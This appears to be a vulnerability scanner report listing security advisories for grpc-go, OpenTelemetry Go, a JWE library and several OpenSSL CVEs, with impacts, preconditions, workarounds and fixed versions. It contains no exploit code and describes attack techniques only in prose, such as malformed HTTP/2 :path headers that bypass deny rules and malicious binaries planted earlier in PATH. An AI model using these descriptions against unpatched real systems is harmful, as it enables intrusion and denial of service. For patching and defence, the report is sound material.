Incorrect Authorization
Detailed paths
Overview
Affected versions of this package are vulnerable to Incorrect Authorization in the processing of HTTP/2 :path pseudo-headers in handleStream(). An attacker can gain unauthorized access to restricted resources by sending requests with malformed :path headers that omit the leading slash. This is only exploitable if the server uses path-based authorization interceptors, has deny rules that use canonical paths with leading slashes, and has a fallback allow rule in its policy.
Workaround
This vulnerability can be mitigated by adding a validating interceptor that rejects requests with malformed paths, configuring infrastructure (such as reverse proxies) to enforce strict HTTP/2 compliance, or switching to a default-deny authorization policy.
Remediation
Upgrade google.golang.org/grpc to version 1.79.3 or higher.

Untrusted Search Path
Detailed paths
Overview
Affected versions of this package are vulnerable to Untrusted Search Path in resource detection code which executes ioreg, when the PATH environment variable is modified to include a malicious executable. An attacker can execute arbitrary code within the context of the application by placing a malicious binary earlier in the search path.
Note: This vulnerability is only exploitable on MacOS/Darwin systems.
Remediation

Untrusted Search Path
Detailed paths
Overview
Affected versions of this package are vulnerable to Untrusted Search Path through the hostIDReaderBSD.read function in sdk/resource/host_id.go. An attacker can execute a malicious kenv binary by placing it earlier in $PATH and triggering host ID detection on BSD or Solaris systems when /etc/hostid is absent. When an application initializes OpenTelemetry resource detection under those conditions, it runs the attacker-controlled command in the application's context, allowing local code execution and compromising the process running the Go application.

Uncaught Exception
Detailed paths
Overview
Affected versions of this package are vulnerable to Uncaught Exception in the cipher.KeyUnwrap function when decrypting a JSON Web Encryption (JWE) object with a key wrapping algorithm (ending in 'KW', except for 'A128GCMKW', 'A192GCMKW', and 'A256GCMKW') and the encrypted_key field is empty. An attacker can cause a panic and disrupt service by submitting a crafted JWE object with an empty encrypted_key field or by directly invoking cipher.KeyUnwrap with a ciphertext parameter less than 16 bytes long.
Note:
This is only exploitable if the list of accepted key algorithms includes key wrapping algorithms.
Workaround
This vulnerability can be mitigated by prevalidating JWE objects to ensure the encrypted_key field is nonempty, or by excluding key wrapping algorithms from the list of accepted key algorithms.

Issue summary: During processing of a crafted CMS EnvelopedData message with KeyTransportRecipientInfo a NULL pointer dereference can happen.
Impact summary: Applications that process attacker-controlled CMS data may crash before authentication or cryptographic operations occur resulting in Denial of Service.
When a CMS EnvelopedData message that uses KeyTransportRecipientInfo with RSA-OAEP encryption is processed, the optional parameters field of RSA-OAEP SourceFunc algorithm identifier is examined without checking for its presence. This results in a NULL pointer dereference if the field is missing.
Applications and services that call CMS_decrypt() on untrusted input (e.g., S/MIME processing or CMS-based protocols) are vulnerable.

CVE-2026-28388

NVD Description
Note: Versions mentioned in the description apply only to the upstream openssl package and not the openssl package as distributed by Alpine.
See How to fix? for Alpine:3.23 relevant fixed versions and status.
Issue summary: When a delta CRL that contains a Delta CRL Indicator extension is processed a NULL pointer dereference might happen if the required CRL Number extension is missing.
Impact summary: A NULL pointer dereference can trigger a crash which leads to a Denial of Service for an application.
When CRL processing and delta CRL processing is enabled during X.509 certificate verification, the delta CRL processing does not check whether the CRL Number extension is NULL before dereferencing it. When a malformed delta CRL file is being processed, this parameter can be NULL, causing a NULL pointer dereference.
Exploiting this issue requires the X509_V_FLAG_USE_DELTAS flag to be enabled in the verification context, the certificate being verified to contain a freshestCRL extension or the base CRL to have the EXFLAG_FRESHEST flag set, and an attacker to provide a malformed CRL to an application that processes it.
The vulnerability is limited to Denial of Service and cannot be escalated to achieve code execution or memory disclosure. For that reason the issue was assessed as Low severity according to our Security Policy.
The FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this issue, as the affected code is outside the OpenSSL FIPS module boundary.

CVE-2026-2673
Detailed paths
NVD Description
Note: Versions mentioned in the description apply only to the upstream openssl package and not the openssl package as distributed by Alpine.
See How to fix? for Alpine:3.23 relevant fixed versions and status.
Issue summary: An OpenSSL TLS 1.3 server may fail to negotiate the expected preferred key exchange group when its key exchange group configuration includes the default by using the 'DEFAULT' keyword.
Impact summary: A less preferred key exchange may be used even when a more preferred group is supported by both client and server, if the group was not included among the client's initial predicated keyshares. This will sometimes be the case with the new hybrid post-quantum groups, if the client chooses to defer their use until specifically requested by the server.
If an OpenSSL TLS 1.3 server's configuration uses the 'DEFAULT' keyword to interpolate the built-in default group list into its own configuration, perhaps adding or removing specific elements, then an implementation defect causes the 'DEFAULT' list to lose its 'tuple' structure, and all server-supported groups were treated as a single sufficiently secure 'tuple', with the server not sending a Hello Retry Request (HRR) even when a group in a more preferred tuple was mutually supported.
As a result, the client and server might fail to negotiate a mutually supported post-quantum key agreement group, such as 'X25519MLKEM768', if the client's configuration results in only 'classical' groups (such as 'X25519' being the only ones in the client's initial keyshare prediction).
OpenSSL 3.5 and later support a new syntax for selecting the most preferred TLS 1.3 key agreement group on TLS servers. The old syntax had a single 'flat' list of groups, and treated all the supported groups as sufficiently secure. If any of the keyshares predicted by the client were supported by the server the most preferred among these was selected, even if other groups supported by the client, but not included in the list of predicted keyshares would have been more preferred, if included.
The new syntax partitions the groups into distinct 'tuples' of roughly equivalent security. Within each tuple the most preferred group included among the client's predicted keyshares is chosen, but if the client supports a group from a more preferred tuple, but did not predict any corresponding keyshares, the server will ask the client to retry the ClientHello (by issuing a Hello Retry Request or HRR) with the most preferred mutually supported group.
The above works as expected when the server's configuration uses the built-in default group list, or explicitly defines its own list by directly defining the various desired groups and group 'tuples'.
No OpenSSL FIPS modules are affected by this issue, the code in question lies outside the FIPS boundary.
OpenSSL 3.6 and 3.5 are vulnerable to this issue.
OpenSSL 3.6 users should upgrade to OpenSSL 3.6.2 once it is released. OpenSSL 3.5 users should upgrade to OpenSSL 3.5.6 once it is released.
OpenSSL 3.4, 3.3, 3.0, 1.0.2 and 1.1.1 are not affected by this issue.

NVD Description
Note: Versions mentioned in the description apply only to the upstream openssl package and not the openssl package as distributed by Alpine.
See How to fix? for Alpine:3.23 relevant fixed versions and status.
Issue summary: Converting an excessively large OCTET STRING value to a hexadecimal string leads to a heap buffer overflow on 32 bit platforms.
Impact summary: A heap buffer overflow may lead to a crash or possibly an attacker controlled code execution or other undefined behavior.
If an attacker can supply a crafted X.509 certificate with an excessively large OCTET STRING value in extensions such as the Subject Key Identifier (SKID) or Authority Key Identifier (AKID) which are being converted to hex, the size of the buffer needed for the result is calculated as multiplication of the input length by 3. On 32 bit platforms, this multiplication may overflow resulting in the allocation of a smaller buffer and a heap buffer overflow.
Applications and services that print or log contents of untrusted X.509 certificates are vulnerable to this issue. As the certificates would have to have sizes of over 1 Gigabyte, printing or logging such certificates is a fairly unlikely operation and only 32 bit platforms are affected, this issue was assigned Low severity.
The FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this issue, as the affected code is outside the OpenSSL FIPS module boundary.

NVD Description
Note: Versions mentioned in the description apply only to the upstream openssl package and not the openssl package as distributed by Alpine.
See How to fix? for Alpine:3.23 relevant fixed versions and status.
Issue summary: An uncommon configuration of clients performing DANE TLSA-based server authentication, when paired with uncommon server DANE TLSA records, may result in a use-after-free and/or double-free on the client side.
Impact summary: A use after free can have a range of potential consequences such as the corruption of valid data, crashes or execution of arbitrary code.
However, the issue only affects clients that make use of TLSA records with both the PKIX-TA(0/PKIX-EE(1) certificate usages and the DANE-TA(2) certificate usage.
By far the most common deployment of DANE is in SMTP MTAs for which RFC7672 recommends that clients treat as 'unusable' any TLSA records that have the PKIX certificate usages. These SMTP (or other similar) clients are not vulnerable to this issue. Conversely, any clients that support only the PKIX usages, and ignore the DANE-TA(2) usage are also not vulnerable.
The client would also need to be communicating with a server that publishes a TLSA RRset with both types of TLSA records.
No FIPS modules are affected by this issue, the problem code is outside the FIPS module boundary.

CVE-2026-31790
Detailed paths
NVD Description
Note: Versions mentioned in the description apply only to the upstream openssl package and not the openssl package as distributed by Alpine.
See How to fix? for Alpine:3.23 relevant fixed versions and status.
Issue summary: Applications using RSASVE key encapsulation to establish a secret encryption key can send contents of an uninitialized memory buffer to a malicious peer.
Impact summary: The uninitialized buffer might contain sensitive data from the previous execution of the application process which leads to sensitive data leakage to an attacker.
RSA_public_encrypt() returns the number of bytes written on success and -1 on error. The affected code tests only whether the return value is non-zero. As a result, if RSA encryption fails, encapsulation can still return success to the caller, set the output lengths, and leave the caller to use the contents of the ciphertext buffer as if a valid KEM ciphertext had been produced.
If applications use EVP_PKEY_encapsulate() with RSA/RSASVE on an attacker-supplied invalid RSA public key without first validating that key, then this may cause stale or uninitialized contents of the caller-provided ciphertext buffer to be disclosed to the attacker in place of the KEM ciphertext.
As a workaround calling EVP_PKEY_public_check() or EVP_PKEY_public_check_quick() before EVP_PKEY_encapsulate() will mitigate the issue.
The FIPS modules in 3.6, 3.5, 3.4, 3.3, 3.1 and 3.0 are affected by this issue.
